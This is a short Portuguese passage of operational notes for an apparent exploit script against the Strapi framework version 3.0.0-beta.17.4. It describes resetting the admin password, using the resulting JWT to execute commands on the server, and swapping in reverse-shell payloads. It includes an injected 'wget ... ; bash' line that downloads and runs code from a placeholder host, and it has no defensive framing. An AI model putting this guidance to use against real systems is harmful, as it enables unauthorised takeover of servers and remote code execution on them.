
Strapi Framework, 3.0.0-beta.17.4
O script tentará redefinir a senha para aquela declarada na variável "updated_pass"; se for bem-sucedido, ele fornecerá um token JWT do Strapi e o utilizará para executar comandos. A execução de comandos bind não funcionará a menos que você envie um payload de reverse shell, com bash, python ou qualquer outra coisa. Você pode gerar um arquivo .sh que fará o download do nc para você e o executará, ou qualquer outra coisa. Até mesmo elf. Para fazer isso, altere o payload_exp de && para o ). Por exemplo, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL não está mais ativa.